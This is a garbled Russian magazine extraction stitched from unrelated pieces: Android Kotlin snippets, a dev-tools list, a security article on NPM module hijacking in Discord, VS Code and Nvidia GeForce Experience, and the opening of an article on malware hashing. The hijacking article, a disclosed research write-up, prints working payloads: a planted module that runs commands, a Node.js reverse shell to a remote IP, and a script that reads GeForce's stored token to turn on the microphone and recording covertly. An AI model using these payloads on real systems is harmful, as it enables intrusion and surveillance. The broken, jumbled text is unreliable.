   e.printStackTrace()
   null
}

   val Context.versionCode: Long?
     get() = try {

           val pInfo = packageManager.getPackageInfo(packageName, 0)
         

 
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.

VERSION_CODES.P) {
       pInfo?.longVersionCode
       } else {
       @Suppress("DEPRECATION")
       pInfo?.versionCode?.toLong()
   }
       } catch (e: PackageManager.NameNotFoundException) {
   e.printStackTrace()
   null
}

Размер экрана

   val Context.screenSize: Point
 get() {

             val wm = getSystemService(Context.WINDOW_SERVICE) as
WindowManager
         val display = wm.defaultDisplay
         val size = Point()
   display.getSize(size)
     return size
}

Имя устройства

   val Any.deviceName: String
 get() {

         val manufacturer = Build.MANUFACTURER
         val model = Build.MODEL
       return if (model.startsWith(manufacturer))
       model.capitalize(Locale.getDefault())
   else
               manufacturer.capitalize(Locale.getDefault()) + " " + model
}

Преобразование строки в URI

   val String.asUri: Uri?
     get() = try {

     if (URLUtil.isValidUrl(this))
       Uri.parse(this)
   else
       null
       } catch (e: Exception) {
   null
}

Вибрация

     fun Context.vibrate(duration: Long) {
             val vib = getSystemService(Context.VIBRATOR_SERVICE) as Vibrator
           if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
         vib.vibrate(VibrationEffect.createOneShot(duration,
VibrationEffect.DEFAULT_AMPLITUDE))
       } else {
       @Suppress("DEPRECATION")
       vib.vibrate(duration)
   }
}

Неизвестные инструменты разработки
  —  статья  с  под боркой

инс тру мен тов раз работ ки, о которых ты, ско рее все го, не слы шал. Наибо лее
инте рес ные наход ки:

20  Android  Dev  Tools  You’ve  Probably  Never  Heard  Of

  —  инс тру мент  для  запус ка  Android‐при ложе ний  в  сре де  Linux
без  исполь зования  вир туали зации  (Anbox). Может  быть  запущен  на  вир‐ 
туаль ном  облачном  хос те,  не  под держи вающем  вло жен ную  вир туали‐ 
зацию;

• AinD

 — инс тру мент для авто мати чес кого поис ка проб лем в при ложе нии
(про изво дитель ность, раз мер при ложе ния и про чие баги);

• Booster

 — инс тру мент для син хро низа ции нажатий экра на на нес‐ 
коль ких устрой ствах;

• ADB Event Mirror

  —  пла гин  Gradle  для  авто мати чес кой  пуб ликации  при ложе ния
в Google Play. По сути — гораз до более прос той в исполь зовании ана лог
Fastlane;

• Autoplay

 —  инс тру мент  для  иссле дова ния  баз  дан ных  Room  пря мо
на устрой стве;

• RoomExplorer

 — добав ляет фрейм устрой ства на скрин шоты;• Android‐framer
 — прос тое и быс трое при ложе ние для соз дания скрин кастов.• MNML

БИБЛИОТЕКИ

  —  прос тая  в  исполь зовании  биб лиоте ка  биомет ричес кой
аутен тифика ции;

• Biometric‐Auth

 — биб лиоте ка для срав нения раз ных вер сий пакетов при ложе ния;• Diffuse
 — кру говое меню;• CircleMenu

 —  оче ред ная  биб лиоте ка  для  соз дания  кра сивых  диало‐ 
гов;

• AwesomeDialog

  —  прос тая  в  исполь зовании  биб лиоте ка
для ани мации;

• Android_additive_animations

 — экран отладки при ложе ния через само при ложе ние;• Android‐sentinel
 — наг лядно показы вает дерево эле мен тов интерфей са.• Radiography
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Зна ешь  ли  ты,  сколь ко  интер пре тато ров
Node.js работа ет на тво ем ком пе? А сколь‐ 
ко в них дыр? С веб‐стра ниц JavaScript при‐ 
шел на сер веры, а с сер веров — на дес кто‐ 
пы,  и  вот  ста рые  баги  заиг рали  новыми
крас ками.  В  этой  статье  я  покажу,
как работа ет NPM Hijacking (Planting) — уяз‐ 
вимость Node.js,  которая  наш лась  во мно‐ 
гих  популяр ных  при ложе ниях,  сре ди
которых Discord и VS Code.

В осно ве этой статьи — мой док лад, который я читал на ZeroNights 2018, но по
раз ным при чинам выход матери ала затянул ся. Одной из при чин были намеки
Nvidia, что хорошо бы подож дать до сле дующе го пат ча, где най ден ную мной
проб лему хотели решить, выкинув Node.js целиком. В резуль тате я мог вооб‐ 
ще забыть об этой теме, если бы анти вирус ные ком пании не ста ли находить
вре донос ное ПО,  которое  исполь зует  схо жую  с  опи сан ной  в  моем  док ладе
тех нику.

Ес ли  хочешь  быс тро  про бежать ся  по  моим  наход кам,  пос мотри 
, а в статье я рас смот рю проб лему более деталь но. Почему так

выш ло,  что  соз датели  мал вари  отнеслись  к  моей  наход ке  с  боль шим  инте‐ 
ресом, чем раз работ чики соф та?

слай ды
пре зен тации

INFO

Сло восо чета ние NPM Package Hĳacking уже мог ло
тебе  встре чать ся  в  ,  которое  было
опуб ликова но Ней таном Джон соном в 2016 году.
Одна ко  я  рас ска жу  об  иной  тех нике,  и  сов‐ 
падение здесь в основном в наз вании.

ис сле дова нии

NODE.JS EVERYWHERE
На чалась эта исто рия, ког да я еще вел в «Хакере» еже месяч ные обзо ры экс‐ 
пло итов. Что бы поль зовать ся все ми пре лес тями фор мата Markdown, я писал
статьи  в  одном мод ном  тог да  редак торе  и  слу чай но  обна ружил  уяз вимость
типа XSS в модуле пред прос мотра статьи. Я все го‐то забыл добавить кавыч‐ 
ки, что бы обра мить код оче ред ного экс пло ита, и вско ре докопал ся до RCE!

Я  нес коль ко  раз  отправ лял  раз работ чикам  информа цию  об  уяз вимос ти,
но руки до это го бага у них, видимо, так и не дош ли. В оче ред ной раз об этой
проб леме я вспом нил, ког да нат кнул ся на   челове ка, нашед шего все ту
же уяз вимость в редак торе Atom.

статью

Это вдох новило меня про дол жать иссле дова ние и поис кать похожие прог‐ 
раммы.  Ведь  Node.js  в  целом  и  дви жок  Electron  в  час тнос ти  все  боль ше
набира ют  популяр ность  и  исполь зуют ся  во  мно гих  рас простра нен ных  при‐ 
ложе ниях.  Тут  тебе  и  про дук ты  Adobe,  и  апдей теры  раз ных  игр,  редак торы
кода  и  тек ста,  мес сен дже ры  (в  том  чис ле  «защищен ные»)  и  про чий  софт.
Node.js  час то  исполь зует ся  для  соз дания  уста нов щиков  и  апдей теров  —
Adobe попала в мой спи сок имен но так. Или мож но вспом нить Nvidia GeForce
Experience —  ути литу,  которая  сле дит  за  обновле ниями  дру гого  ПО  Nvidia.
Она тоже написа на на мод ном нын че Node.js.

При ложе ния на Electron вклю чают в себя бра узер, осно ван ный на Chromi‐
um,  а  к  нему  обыч но  идет  локаль ный  веб‐сер вер — он  тоже  вхо дит  в  прог‐ 
рамму и  запус кает ся вмес те с ней.  Так и получа ется,  что на  тво ем рабочем
ком пе  вне зап но  кру тит ся  куча  сер верно го  соф та.  Вот  толь ко  сисад минов
у  это го  соф та  нет,  а  уяз вимос ти  или  сла бые  мес та  в  защите  по‐преж нему
могут  быть  проб лемой.  Об  экс плу ата ции  одной  из  таких  сла бос тей  мы
и погово рим.

В пре зен тации я про иллюс три ровал раз ницу меж ду сер верным и дес ‐
ктоп ным соф том кар тинка ми из одной извес тной игры

NPM HIJACKING (PLANTING)
В  «Хакере»  уже  не  раз  писали  о  DLL  Hijacking,  он  же  DLL/Binary  Planting
или Preloading. Эта тех ника работа ет так. Если раз работ чик не ука зал явным
обра зом  пути  для  заг рузки  биб лиотек DLL  в  сво ем  исполня емом фай ле,  то
опе раци онная  сис тема  будет  искать  эти  биб лиоте ки  по  путям,  перечис‐ 
ленным  в  перемен ной    (в  том  чис ле  в  Windows,  под робнее —  в 

).  Под ложив  в  какую‐то  из  этих  папок  вре донос ный
клон биб лиоте ки, ата кующий может исполнить про изволь ный код.

PATH офи‐ 
циаль ной  докумен тации

При  заг рузке  модулей  Node.js  ищет  пап ку    по  всем  путям
выше  родитель ской  дирек тории  вызыва емо го  скрип та,  про веряя  их,  пока
не  най дет  нуж ный  модуль.  Получа ется  что‐то  вро де  ,  где
ука зате лей  на  родитель скую  пап ку  может  быть  про изволь ное  количес тво.
Более наг лядно это пред став лено на кар тинке ниже.

node_modules

../node_modules

Заг рузка модулей Node.js

Ду маю, ты уже догадал ся, почему я окрестил эту ата ку NPM Hijacking по ана‐ 
логии  с DLL Hijacking. На  иссле дуемых машинах  я  заметил мно гочис ленные
попыт ки заг рузить скрип ты из катало гов, перечис ленных в перемен ной  ,
или  домаш него  катало га  текуще го  поль зовате ля.  Уж  эта‐то  пап ка  дос тупна
без вся ких повышен ных прав, чем и могут вос поль зовать ся вре доно сы. Собс‐ 
твен но,  такие  фокусы  уже  вов сю  прак тику ются  при  ата ках  на  веб‐сер веры
с «Нодой», но там защита в целом на более высоком уров не, чем на дес кто пе,
поэто му такая проб лема менее опас на.

PATH

УЯЗВИМОСТИ
Да вай теперь пос мотрим, как эта осо бен ность экс плу ати рует ся в раз ных при‐ 
ложе ниях,  внут ри  которых  кру тят ся  сер ваки  с  Node.js.  Мы  рас смот рим  три
при мера:

;• Discord
;• Visual Studio Code

Nvidia GeForce Experience.•

Discord
Чат Discord зна менит воз можностью общать ся голосом, а сде лан он на Elec‐
tron. Неуди витель но, что он уяз вим перед NPM Hijacking, — проб лему я обна‐ 
ружил  во  вре мена  вер сии  0.0.300,  о  чем  и  опо вес тил  раз работ чиков.
При запус ке Discord ищет сле дующие скрип ты, идя вверх по катало гам:

;• discord_utils.js

;• discord_overlay2.js

;• discord_game_utils.js

;• discord_spellcheck.js

;• discord_contact_import.js

.• discord_voice.js

Сам поиск и заг рузка скрип та с точ ки зре ния ОС выг лядят как пос ледова тель‐ 
ный перебор сле дующих папок:
1. C:\Users\User\AppData\Roaming\discord\0.0.300\modules\
discord_desktop_core\node_modules

2. C:\Users\User\AppData\Roaming\discord\0.0.300\modules\
node_modules

3. C:\Users\User\AppData\Roaming\discord\0.0.300\
node_modules

4. C:\Users\User\AppData\Roaming\discord\node_modules
5. C:\Users\User\AppData\Roaming\node_modules
6. C:\Users\User\AppData\node_modules
7. C:\Users\User\node_modules
8. C:\Users\node_modules
9. C:\node_modules
10. C:\Users\User\AppData\Roaming\discord\0.0.300\modules\

discord_voice.js

По  умол чанию  с  пер вого  по  девятый  пункт  опе раци онная  сис тема  ничего
не  обна ружит,  если  у  тебя  нет  таких  папок,  и  толь ко  потом  (на  пун кте  10)
Node.js нач нет поиск скрип та, лежаще го не в  , а отдель но, как и
сде лано в Discord. Если нам дос тупна для записи пап ка поль зовате ля, то мы
можем  под ложить  свою  биб лиоте ку  так,  что бы  она  заг рузилась,  нап ример,
на пун кте 7.

node_modules

Та кой нес ложный трюк поз волит выпол нить  код от име ни Discord.exe. То,
что этот про цесс име ет дос туп к камере, мик рофону и зах вату экра на, дела ет
ситу ацию осо бен но пикан тной.

В  качес тве  тес та  соз дадим  файл 
 и поп робу ем из него выз вать каль кулятор.

C:\Users\User\node_modules\dis‐
cord_voice.js

     var exec = require('child_process').exec;
exec('calc');

За пуск каль кулято ра в Discord

Кста ти,  проб лема  каса ется  всех  плат форм,  и  если  вмес то    написать,
нап ример,   (если уста нов лен Gnome) — PoC точ но так же
будет работать в Linux.

calc
gnome‐calculator

Ре бятам  из  Discord  надо  отдать  дол жное:  они  хоть  и  отве тили  мне,  что
такое  поведе ние  не  под пада ет  под  их  прог рамму Bug Bounty,  но  запат чили
опе ратив но.

Кста ти,  если  ты  раз рабаты ваешь  на    и  иног да  стал кива ешь ся
со  стран ным  поведе нием  некото рых  прог рамм,  не  исклю чено,  что  они  заг‐ 
ружали модули не той вер сии или вмес то них находи ли какие‐то твои скрип ты.

Node.js

Visual Studio Code
Сле дующий кан дидат — популяр ный редак тор кода Visual Studio Code. Здесь
проб лема с под груз кой модулей кос нулась одно го из сто рон них модулей —

. В нем есть вот такой скрипт:https‐proxy‐agent

https‐proxy‐agent\node_modules\debug\src\node.js 

Он пыта ется най ти нес тандар тную биб лиоте ку  . Вот как выг‐ 
лядит учас ток кода, который при вел к появ лению уяз вимос ти:

supports‐color

...
 try {

       var supportsColor = require('supports‐color');
             if (supportsColor && supportsColor.level >= 2) {
...

Путь не ука зан явно, из‐за чего поиск   идет нес коль ко кри во.supports‐color

...
     C:\Program Files\Microsoft VS Code\resources\app\extensions\

node_modules\supports‐color
     C:\Program Files\Microsoft VS Code\resources\app\extensions\

node_modules\supports‐color.js
     C:\Program Files\Microsoft VS Code\resources\app\extensions\

node_modules\supports‐color.json
     C:\Program Files\Microsoft VS Code\resources\app\extensions\

node_modules\supports‐color.node
     C:\Program Files\Microsoft VS Code\resources\app\node_modules\

supports‐color
     C:\Program Files\Microsoft VS Code\resources\app\node_modules\

supports‐color.js
     C:\Program Files\Microsoft VS Code\resources\app\node_modules\

supports‐color.json
     C:\Program Files\Microsoft VS Code\resources\app\node_modules\

supports‐color.node
     C:\Program Files\Microsoft VS Code\resources\node_modules
 C:\Program Files\node_modules

C:\node_modules
C:\Users\User\.node_modules
...

На этот раз давай напишем что‐нибудь поин терес нее, чем вызов каль кулято‐ 
ра.  Нап ример,  PoC  для  запус ка  уда лен ного  (но  не  очень  силь но,  пос коль ку
все про исхо дит на локаль ной машине) шел ла, при чем с вари антом для Linux.

     var net = require("net"),
   cp = require("child_process"),
     sh = cp.spawn("/bin/sh", []);
       var client = new net.Socket();

     client.connect(5001, "192.168.160.133", function() {
   client.pipe(sh.stdin);
   sh.stdout.pipe(client);
   sh.stderr.pipe(client);
});

Зап рос к «уда лен ному» шел лу в запущен ном VS Code

INFO

Ес ли звез ды сой дут ся так, что поль зователь вдруг
решит  открыть  VS  Code,  что бы  изме нить  кон‐ 
фиги,  на  которые  нуж ны  пра ва  root,  то  и  наш
шелл выпол нится от рута.

К сожале нию, в Microsoft мне отве тили, что не рас смат рива ют такие локаль‐ 
ные век торы (читай: поль зовате ли сами винова ты в таких слу чаях), и на вре мя
пуб ликации  док лада  проб лема  была  акту аль на.  К  сло ву  ска зать,  в  отли чие
от ситу ации с Discord, тут дей стви тель но проб лема вли яет на ПО в мень шей
мере, так как ошиб ка была в одном из заг ружа емых скрип тов и сра баты вала
толь ко  в  момент  под свет ки  син такси са.  У    есть  такая  осо бен ность,
что из основно го скрип та ты можешь обра щать ся к перемен ным вызыва емо‐ 
го, но не наобо рот, кро ме раз решен ных слу чаев. Но и тут мож но попытать ся
най ти обходные пути, что я и покажу в сле дующем при мере.

Node.js

Продолжение статьи →

mailto:dukebarman@protonmail.com
https://speakerdeck.com/dukebarman/issues-in-node-dot-js-desktop-applications-hypster-mode-on-in-development
https://speakerdeck.com/dukebarman/issues-in-node-dot-js-desktop-applications-hypster-mode-on-in-development
https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom
https://docs.microsoft.com/ru-ru/windows/win32/dlls/dynamic-link-library-security
https://discord.com/
https://code.visualstudio.com/


NPM HIJACKING
ВСТРАИВАЕМ ПРОИЗВОЛЬНЫЙ КОД

В ПРИЛОЖЕНИЯ НА NODE.JS

COVERSTORY  НАЧАЛО СТАТЬИ←

GeForce Experience
Nvidia — мой любимый вен дор, не толь ко потому, что мне нра вят ся виде окар‐ 
ты этой фир мы, но и потому, что баг, который мы изу чаем, в ути лите GeForce
Experience дает поис тине инте рес ные воз можнос ти. Эта про га любез но сле‐ 
дит  за  обновле ниями  драй вера  виде окар ты,  а  еще  поз воля ет  записы вать
видео и звук или стри мить кар тинку. Все это работа ет через обыч ные HTTP‐
зап росы к работа юще му локаль но веб‐сер веру.

Проб лема наш лась  в  скрип те    в модуле  .
Вна чале меня при обод рило его наз вание: я понаде ялся, что смо гу получить
дос туп ко всем переда ваемым дан ным, но скрипт, хоть и заг ружа ется всег да,
поч ти никог да не вызывал ся.

utf‐8‐validate.js bufferutil

Ре бята из Nvidia зак рыли длин ным токеном зап росы к сво ему неболь шому
веб‐сер веру, и я уже подумы вал бру тить этот токен, но все ока залось про ще.
Токен соз давал ся при запус ке прог раммы и сох ранял ся в домаш ний каталог
поль зовате ля  в  удоб ном  фор мате  JSON,  поэто му  дос таточ но  прос то  про‐ 
честь его.

Тут  приш лось  нем ного  схит рить  и  положить  рядом  модуль  для  работы
с  сетью,  потому  что  ошиб ка  была  най дена  не  в  глав ном  скрип те  и  дос тупа
к уже заг ружен ным выше модулям у нас не было (если вдруг зна ешь, как его
орга низо вать, — пиши в ком ментах!).

В  ито ге  нам  надо  счи тать  токен  и  исполь зовать  его  для  отправ ки  HTTP‐
зап росов. Поэто му скрипт стал выг лядеть сле дующим обра зом:

   exports.Validation = {
       isValidUTF8: function(buffer) {

            var fs = require('fs');
            var config = require("C:\\Users\\User\\AppData\\Local\\

NVIDIA Corporation\\NvNode\\nodejs.json")
     

 
       fs.appendFile('D://pwn_secret.txt', config.secret, function (
err) {

                if (err) throw err;
           console.log('Saved!');
       });

            var request = require('request');
       // Micro

            var formData = '{"mode":"alwayson"}';
            var contentLength = formData.length;

       request({
            headers: {

               'Content‐Length': contentLength,
               'Content‐Type': 'application/json',

               'User‐Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.0 Safari/537.
36 NVIDIACEFClient/61.3163.1651.1 NVIDIAOSCClient/3.12.0.84',

                 'X_LOCAL_SECURITY_COOKIE' : config.secret
          },

           uri: 'http://127.0.0.1:'+config.port+'/ShadowPlay/v.1.0/
Microphone',

           body: formData,
           method: 'POST'

                }, function (err, res, body) {
                var fs = require('fs');

                    fs.writeFile('D://pwn_http.txt', body, function (err) {
// for debug

                    if (err) throw err;
               console.log('Saved!');
           });
      });

      return true;
 }
};

Мы  здесь  вклю чаем  пос тоян ную  работу  мик рофона,  а  ниже  ты  най дешь
еще пару при меров. Выпол нение коман ды:

...
// Installer

       var formData = 'cmd'; // Command for execution
     var contentLength = formData.length;

request({
     headers: {

      'Content‐Length': contentLength,
      'Content‐Type': 'text/html',

   'User‐Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/61.0.3163.0 Safari/537.36 
NVIDIACEFClient/61.3163.1651.1 NVIDIAOSCClient/3.12.0.84',
     'X_LOCAL_SECURITY_COOKIE' : config.secret
   },

 uri: 'http://127.0.0.1:'+config.port+'/gfeupdate/autoGFEInstall/',
...

За пись видео:

...
// Video recording

     var formData = '{"status":true}';
     var contentLength = formData.length;

...
 uri: 'http://127.0.0.1:'+config.port+'/ShadowPlay/v.1.0/Record/Enable

',
...

Ес ли  пос мотришь  дру гие  скрип ты  на  JS  из  сос тава  GeForce  Experience,  то
най дешь еще мно го замеча тель ных фун кций. Нап ример, вклю чение стри мин‐ 
га. Как запус тить запись экра на, можешь гля нуть на видео. Кста ти, инди катор
записи мож но скры вать.

За пус каем запись экра на

Для  прос тоты  я  вос поль зовал ся  фун кци ей  вос ста нов ления  про цес са  пос ле
его  неожи дан ного  завер шения,  но  все  это  сра бота ло  бы  и  пос ле  обыч ного
переза пус ка устрой ства.

Ин форма цию  об  этой  проб леме  и  о  том,  что  токен  хра нит ся  в  откры том
виде, я отпра вил в Nvidia еще в 2018 году. Из отве та я узнал, что в ком пании
пла ниру ют изба вить ся от Node.js в при ложе нии вес ной 2019 года.

Ка ково же было мое удив ление,  ког да я уви дел статью Дэвида Йес ленда
(David Yesland) о  , где он тоже вос поль зовал ся дос тупом к это‐ 
му токену и смог про экс плу ати ровать все ту же проб лему, но уже через уда‐ 
лен ный век тор. Дру гой иссле дова тель в  том же при ложе нии обна ружил DLL
Hijacking  ( ),  что  схо же  с  най ден ной  мной  брешью.  Тем  вре‐ 
менем GeForce Experience до сих пор исполь зует Node.js...

CVE‐2019‐5678

CVE‐2019‐5676

КАК ИСКАТЬ
По чему  я  счи таю,  что  опи сан ный  баг  —  дей стви тель но  проб лема  для  раз‐ 
работ чиков?  Такое  поведе ние  встре чает ся  далеко  не  во  всех  скрип тах,
а лишь в нес коль ких, к тому же лег ко обна ружи вает ся. Неваж но, на какой ты
сто роне — Red Team, Blue Team или прос то инте ресу ющий ся безопас ностью
раз работ чик. Для поис ка бага тебе понадо бят ся сле дующие вещи.

  В  Windows  это  ,  в  Unix‐
подоб ных сис темах (в том чис ле и macOS) — strace, DTrace или   (BPF
Compiler Collection).

• Трас сиров щик  обра щений  к  ФС. ProcMon
BCC

 Боль шинс тво таких фай лов не зашиф рованы,
так что подой дет любой редак тор.

• IDE или редак тор кода.

 —  это  опци ональ но,  но  некото рые  раз работ чики
забыва ют  отклю чить  отла доч ные  фун кции,  что  поз воля ет  без  проб лем
под клю чить ся к такому ПО.

• Chrome Debug Tools

Трас сиров щик  ФС  запус каем  с  филь тра цией  по  нуж ным  нам  парамет рам.
Нап ример, если ты выб рал strace или DTrace:

 app   strace ‐f ‐e read 2>&1 | grep node_ 

А если у тебя есть BCC, то отфиль тро вать можешь так:

 |  app bcc/tools/statsnoop.py ‐x grep 

На  кар тинке  ниже  ты  можешь  видеть  при меры  филь тров  для  ProcMon  —
монито ра про цес сов в Windows.

Ес ли  твой  выбор  за  BCC,  то  его  при дет ся  уста новить  допол нитель но,
но поверь мне: если пла ниру ешь занимать ся ана лизом ПО в Linux, то навыки
работы с BPF тебе еще при годят ся.

Филь тры для ProcMon

Код  при  этом  в  боль шинс тве  слу чаев  будет  оди нако вый  или  очень  схо жий
на всех ОС.

NPM HIJACKING В ДИКОЙ ПРИРОДЕ
О появ лении вре донос ного соф та, который экс плу ати рует схо жую тех нику, я
впер вые узнал из твит тера  . Это был вре донос Spidey Bot,
который экс плу ати ровал дыру в Discord («Хакер» о нем  ).

@malwrhunterteam
то же писал

Да лее с некото рой регуляр ностью появ ляют ся новос ти о дру гих подоб ных
прог раммах,  к  при меру  .  Как  видишь,  зло умыш ленни ки
исполь зовали похожий трюк и, что самое грус тное, ата кова ли все тот же Dis‐
cord.  Хотя,  если  учесть  его  популяр ность  в  пос леднее  вре мя,  ничего  уди‐ 
витель ного.

AnarchyGrabber

По чему  «похожий  трюк»,  а  не  ров но  тот  же? Дело  в  том,  что  они  прос то
переза писы вали JS‐фай лы поверх, то есть пат чили прог рамму. Это осо бен но
прос то, потому что мы име ем дело с фай лами на JS, мак симум упа кован ными
в ASAR (ана лог tar). И если такой файл вдруг обфусци рован, то, ско рее все го,
это как раз вре донос ная прог рамма.

ИМПАКТ
Ты можешь не любить Electron за его аппе титы к опе ратив ной памяти, одна ко
на нем пишут дос той ный софт, так что при всем желании в бли жай шее вре мя
от  этой  плат формы  нам  никуда  не  уйти.  Но  нель зя  забывать  о  проб лемах,
которые не были такими опас ными на веб‐сер верах и вдруг ока зались акту‐ 
аль ными на дес кто пах.

XSS,  которые  пач ками  сда ются  в  рам ках  раз ных  Bug  Bounty  и  обыч но
ценят ся мень ше, чем, к при меру, SQL‐инъ екции, на дес кто пе или в мобиль‐ 
ном ПО могут при вес ти  к пол ноцен ной RCE. Вспом нить  хотя бы уяз вимость
DNS Rebinding, которая рань ше встре чалась на вебе, а потом 
в игро вом кли енте Blizzard.

об наружи лась

И хотя NPM Hijacking — это по боль шей час ти то, что называ ется security
weakness, такая ата ка может быть прек расным эле мен том в цепоч ке экс плу‐ 
ата ции.  Она  поз воля ет  выпол нять  код  от  име ни  под писан ных  исполня емых
фай лов,  при чем  в  некото рых  слу чаях  с  более  высоки ми  пра вами,  чем
у  текуще го поль зовате ля. Либо вре донос может попытать ся обма нуть  поль‐ 
зовате ля,  так  как  зап рос от UAC на повыше ние прав пос тупит от при выч ной
ему прог раммы.

Ито го NPM Hijacking — неп лохой инс тру мент в арсе нале Red Team, потому
что это:

прос то и ста биль но;•
кросс‐плат формен но;•
мож но наз вать некой «ленивой» аль тер нативой Meterpreter;•
мо жет  не  отлавли вать ся  детек торами  ано малий,  которые  ждут  под воха
ско рее от обра щения к сто рон ним веб‐ресур сам из Word,  какого‐нибудь
PDF Reader или выпол нения команд через cmd или PowerShell. Здесь же
код выпол няет ся в рам ках кон крет ной прог раммы, которая и так работа ет
с раз ными ресур сами.

•

Материалы для изучения
На  дан ный  момент  накопи лось  уже  неп лохое  чис ло  матери алов  об  иссле‐ 
дова ниях безопас ности при ложе ний на Node.js.
• MarkDoom: How I Hacked Every Major IDE in 2 Weeks
RCE в VS Code: • Visual Studio Code silently fixed a remote code execution vul‐
nerability

• Уяз вимость, най ден ная зна мени той коман дой Project Zero в игро вом кли‐ 
енте Blizzard

• Инъ екция HTML в Signal
Уяз вимос ти в Electron:   и • Webview Vulnerability Protocol Handler Vulnerability

• Instrumenting Electron Apps for Security Testing
• RCE в JetBrains IDE
• RCE в Atom
• Discord Desktop app RCE

Ре бятам из Blue Team и чем пионам безопас ности сре ди раз работ чиков при‐ 
годят ся сле дующие ссыл ки:
• Node.js Security Checklist
• Уяз вимос ти в при ложе ниях на Node.js
• Electron Security Readme

https://www.youtube.com/watch?v=SkLx0doKO1U
https://nvd.nist.gov/vuln/detail/CVE-2019-5678
https://nvd.nist.gov/vuln/detail/CVE-2019-5676
https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
https://github.com/iovisor/bcc
https://twitter.com/malwrhunterteam
https://xakep.ru/2019/10/24/spidey-bot/
https://xakep.ru/2020/05/27/anarchygrabber/
https://xakep.ru/2018/01/24/blizzard-update-agent-bug/
https://www.youtube.com/watch?v=a-YnG3Mx-Tg
https://medium.com/0xcc/visual-studio-code-silently-fixed-a-remote-code-execution-vulnerability-8189e85b486b
https://bugs.chromium.org/p/project-zero/issues/detail?id=1471&desc=3
https://packetstormsecurity.com/files/147614/Signal-Desktop-HTML-Injection.html
https://electronjs.org/blog/webview-fix
https://electronjs.org/blog/protocol-handler-fix
http://stats.hackmag.com/pdf/Instrumenting%20Electron%20Apps%20for%20Security%20Testing
http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/
https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom
https://mksben.l0.cm/2020/10/discord-desktop-rce.html
https://blog.risingstack.com/node-js-security-checklist/
https://nodesecurity.io/advisories
https://github.com/electron/electron/blob/master/docs/tutorial/security.md
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ВЗЛОМ

Соз датели вре донос ных прог рамм исполь зуют мас су раз ных
методов,  что бы  скрыть  свои  тво рения  от  анти вирус ных
средств и ста тичес ких‐динами чес ких ана лиза торов. Одна ко
и  анти виру сы  не  лыком  шиты:  для  поис ка  «родс твен ных»
сем плов  они  исполь зуют  прод винутые  алго рит мы  хеширо‐ 
вания.  Сегод ня  мы  рас ска жем,  как  работа ют  эти  алго рит‐ 
мы, — с под робнос тями и наг лядны ми при мера ми.

На прак тике в боль шинс тве слу чаев сущес тву ющая база или ядро вре доно са
пов торно исполь зует ся для соз дания новой раз новид ности мал вари. Вирусо‐ 
писа тели  осо бо  не  замора чива ются  с  зат ратной  по  вре мени  раз работ кой
новых «качес твен ных» вирусов, а прос то исполь зуют име ющиеся образцы.

Этот пов торно исполь зуемый код может быть соб ран заново с помощью
дру гого ком пилято ра, из него могут быть уда лены или, наобо рот, в него могут
быть добав лены новые фун кции. Обновля ются некото рые биб лиоте ки, меня‐ 
ется рас пре деле ние  кода внут ри фай ла  (при этом при меня ются новые  ком‐ 
понов щики,  пакеры,  обфуска ция  и  так  далее).  Смысл  таких  пре обра зова‐ 
ний — при дать хорошо зна комой анти виру су вре донос ной прог рамме новый
вид. В этом слу чае видо изме нен ная вер сия вируса какое‐то вре мя оста нет ся
необ наружен ной. Тем не менее сущес тву ют спо собы детек тирова ния такого
рода пере упа ковок и модифи каций.

Эти  тех ники  обна руже ния  зачас тую  исполь зуют ся  для  ана лиза  боль шого
мас сива дан ных и поис ка в нем общих эле мен тов. Прак тичес кими при мера ми
исполь зования  похожих  тех ник могут  быть  гло баль но  рас пре делен ные  базы
зна ний, такие как Virus Total и базы анти вирус ных ком паний, а так же под ходы
Threat Intelligence.

ХЕШ «ЧЕТКИЙ»
Ханс  Петер  Лун  из  IBM  еще  в  1940‐е  раз рабаты вал  сис темы  для  ана лиза
информа ции, в том чис ле иссле довал воп росы хра нения, переда чи и поис ка
тек сто вых дан ных. Это при вело его к соз данию алго рит мов пре обра зова ния,
а затем и к хеширо ванию информа ции в качес тве спо соба поис ка телефон‐ 
ных  номеров  и  тек ста.  Так  индекса ция  и  кон цепция  «раз деляй  и  влас твуй»
сде лали свои пер вые шаги в области вычис литель ной тех ники.

Сей час  сущес тву ет  мно жес тво  алго рит мов  хеширо вания,  отли чающих ся
крип тостой костью,  ско ростью  вычис ления,  раз рядностью  и  дру гими  харак‐ 
терис тиками.

Мы  при вык ли  ассо цииро вать  хеш‐фун кции  с  крип тогра фичес кими
хеш‐фун кци ями.  Это  рас простра нен ный  инс тру мент,  который  исполь зует ся
для решения целого ряда задач, таких как:

аутен тифика ция;•
элек трон ная под пись;•
об наруже ние  вре донос ного  ПО  (как  фай лов,  так  и  их  мар керов  ком про‐ 
мета ции).

•

В сегод няшней статье речь пой дет о том, как раз личные алго рит мы хеширо‐ 
вания помога ют нам бороть ся с злов редным ПО.

ЧТО ТАКОЕ ХЕШ
Крип тогра фичес кая  хеш‐фун кция,  чаще  называ емая  прос то  хешем,  —
это  матема тичес кое  пре обра зова ние,  перево дящее  про изволь ный  вход ной
мас сив  дан ных  в  сос тоящую  из  букв  и  цифр  стро ку  фик сирован ной  дли ны.
Хеш счи тает ся крип тостой ким, если спра вед ливо сле дующее:

по хешу нель зя вос ста новить исходные дан ные;•
вы пол няет ся  устой чивость  к  кол лизи ям,  то  есть  невоз можно  получить
из раз личных вход ных пос ледова тель нос тей оди нако вые хеши.

•

MD5, SHA‐1 и SHA‐256 — наибо лее популяр ные крип тогра фичес кие алго рит‐ 
мы  вычис ления  хеша,  которые  час то  исполь зуют ся  в  детек тирова нии  вре‐ 
донос ного  ПО.  Еще  сов сем  недав но  вре донос  опоз навали  толь ко  по  сиг‐ 
натуре (хешу) исполня емо го фай ла.

Но  в  сов ремен ных  реалиях  недос таточ но  знать  прос то  хеш  объ екта,  так
как  это  сла бый  инди катор  ком про мета ции  (IoC).  IoC —  это  все  арте фак ты,
на осно ве которых может быть выяв лен вре донос. Нап ример, исполь зуемые
